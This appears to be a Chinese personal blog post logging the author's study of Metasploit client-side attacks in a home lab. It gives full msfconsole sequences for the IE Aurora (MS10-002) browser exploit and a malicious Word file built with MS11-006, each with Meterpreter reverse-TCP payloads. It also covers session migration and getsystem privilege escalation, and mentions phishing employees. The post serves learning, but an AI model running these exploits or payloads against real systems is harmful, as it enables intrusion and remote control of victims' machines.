Metasploit学习记录(四)

客户端渗透攻击

最近几年专注于网络外围的防御技术使得传统方式渗透攻击的成功几率大大降低,当通过某种途径的攻击变得难以成功时,换一种思路,从公司内部薄弱环节进行攻击便提供了一种新的方式,例如从客户端进行入手,其实对于公司来说,可能有专门的安全团队在服务器或者公司入口进行安检工作,但是员工对于计算机的使用和安全意识的薄弱正在使得攻击的有效方式像这方面偏移。

例如公司员工主机上面安装的常用软件,Web浏览器、PDF阅读器以及微软的办公套件,同时由于对于软件更新的忽视也使得对于这些漏洞的利用成为了可能。

例如可以利用社工手段诱使员工点击恶意链接,或者一封钓鱼邮件都是这种攻击的实施手段。大部分公司会花时间以及金钱购买防御系统或者web防火墙,但是经常会忽视对于员工的安全培训,因此从某些方面来说,虽然客户端攻击可能不是最直接的方法,但是在某些情况下是最有效以及最容易成功的方法。

基于浏览器的攻击渗透

浏览器应该是现在所有计算机上的必备软件,因此对于浏览器的攻击应该是十分普遍的,我们要做的就是诱使目标点击恶意链接触发shellcode的执行即可,需要注意的是,我们拿到的权限是由客户端软件的运行用户决定的。

攻击原理

针对浏览器的渗透攻击区别于其他传统渗透攻击最大的不同在于shellcode的触发方式,传统的渗透攻击中,渗透者全部目标是获取远程代码执行的机会,然后植入一个恶意的攻击载荷,然而在浏览器渗透攻击中,为了能够执行构造的攻击载荷代码,通常利用一种称为堆栈喷射的漏洞(0x0C0C0C0C这是一个神秘的关键字)。

简单来说就是利用js开辟一大段内存空间,关于内从空间的分类例如:堆、栈等区别参看上面的链接,在申请的内存空间中主要分布大块的空指令以及指令滑行区,以及紧随其后的shellcode,这样的内存分布能够确保程序的执行能够在落入空指令区这一部分后一定能够落到shellcode的第一行指令,这种攻击方式的成功率能到达80-90(p111)

对IE浏览器的极光漏洞进行渗透利用

这里利用浏览器的极光漏洞(ms10-002)如下演示

msf > use windows/browser/ms10_002_aurora
msf exploit(ms10_002_aurora) > set payload windows/meterpreter/reverse_tcp

msf exploit(ms10_002_aurora) > set SRVPORT 80
SRVPORT => 80
msf exploit(ms10_002_aurora) > set URIPATH /
URIPATH => /
msf exploit(ms10_002_aurora) > set LHOST 192.168.31.14
LHOST => 192.168.31.14
msf exploit(ms10_002_aurora) > set LPORT 443
LPORT => 443
exmsf exploit(ms10_002_aurora) > exploit
[*] Exploit running as background job 0.

[] Started reverse TCP handler on 192.168.31.14:443
[
] Using URL: http://0.0.0.0:80/
[] Local IP: http://192.168.31.14:80/
[
] Server started.
msf exploit(ms10_002_aurora) > 192[] 192.168.31.60 ms10_002_aurora - Sending MS10-002 Microsoft Internet Explorer “Aurora” Memory Corruption
[
] 192.168.31.60 ms10_002_aurora - Sending MS10-002 Microsoft Internet Explorer “Aurora” Memory Corruption
[*] 192.168.31.60 ms10_002_aurora - Sending MS10-002 Microsoft Internet Explorer “Aurora” Memory Corruption

需要注意的是,执行完成之后,当使用虚拟机进行访问的时候并没有成功渗透,在msf当中有提示,在客户端那边的表现就是原本系统内存为300MB,当使用IE访问钓鱼页面的时候,内存会暴涨200MB然后报内存错误,IE进程被终止:(

由于没有攻击成功,如下对正常入侵后的操作进行记录。

即便是攻击成功,在客户端观察到的现象也会是IE进程的内存占用暴涨,这是有可能导致机器内存不足的,这种情况下如果靶机关闭了浏览器,那么我们与之建立的反向shell也会丢失,因此正确的方法应该是在成功建立连接之后第一时间执行run migrate将会话快速迁移至其他进程空间,这个新进程一般命名为lsass.exe

当然了,对于metasploit这么成熟的框架来说怎么可能会让人每次都做这种手工操作呢。它是支持高级特性的。

执行show advanced命令可以查看极光模块中的高级属性。例如,我们可以设置反弹是连接每次尝试连接的次数:

set ReverseConnectRetries 10

在本例中,我们要做的是防止用户由于大量的内存暴涨关闭浏览器进而导致的会话断开,因此需要自动化的将连接迁移到一个新的进程当中去,利用AutoRunScript选项,如下:

set AutoRunScript migrate -f

由于是基于浏览器的渗透攻击,因此我们很有可能取得的是受限用户,这里需要我们执行 use priv和getsystem来进行权限查看以及提权

文件格式漏洞渗透攻击

除了使用浏览器客户端进行攻击,还有一些由于应用程序bug导致的可利用漏洞,例如Adobe PDF、Word文档,这类攻击是在用户使用存在漏洞的应用程序打开恶意的文件时所触发,恶意文件可能是通过远程下载的,也可以是通过邮件进行发送接受的,这里我们使用的是MS11-006安全漏洞,是在Windows系统函数CreateSizedDIBSECTION中存在的一个栈溢出漏洞,如下为攻击流程:

msf exploit(ms10_002_aurora) > use windows/fileformat/ms11_006_createsizeddibsection
msf exploit(ms11_006_createsizeddibsection) > info

  Name: MS11-006 Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow
Module: exploit/windows/fileformat/ms11_006_createsizeddibsection

Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2010-12-15

msf exploit(ms11_006_createsizeddibsection) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms11_006_createsizeddibsection) > set LHOST 192.168.31.14
LHOST => 192.168.31.14
setmsf exploit(ms11_006_createsizeddibsection) > set LPORT 443
LPORT => 443
msf exploit(ms11_006_createsizeddibsection) > exploit

[*] Creating ‘msf.doc’ file …
[+] msf.doc created at /root/.msf4/local/msf.doc

这里需要注意的是我在将文件发送给靶机的时候文件被杀毒软件检测出来为有害文件 :<

总结

这一章主要学习了对于客户端漏洞的利用,讲真,看完这一章越来越觉得,那些搞信息安全的人才的思维简直超乎常人,并且对于规则的利用真的让人咂舌,或许这就是天赋?

程序,本质上是对输入信息的处理&加工,而只要有信息的流入&流出,就一定会有可以利用的漏洞。拜服了。

我觉得,我的电脑已经被黑了无数次了:)

转载请注明来源链接 http://just4fun.im/2017/12/10/Metasploit学习记录(四)/ 尊重知识,谢谢:)